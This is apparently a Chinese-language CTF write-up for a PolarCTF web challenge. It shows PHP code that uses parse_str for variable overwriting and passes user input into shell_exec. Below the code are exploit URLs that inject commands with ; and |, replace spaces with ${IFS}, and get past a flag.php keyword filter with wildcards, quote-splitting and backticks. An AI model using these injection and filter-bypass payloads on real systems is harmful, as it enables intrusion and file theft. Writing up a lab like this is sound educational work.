<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
使用;来拼接命令+${IFS}代替空格+使用通配符绕过
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;ls
可以看到出现flag.php

那么我们可以使用${IFS}来代替空格,使用通配符来匹配flag.php
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用|拼接命令
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用''来分割,绕过关键字过滤
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20fla''g.php
cat与``执行命令结合,读取全部文件的源码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20`ls`
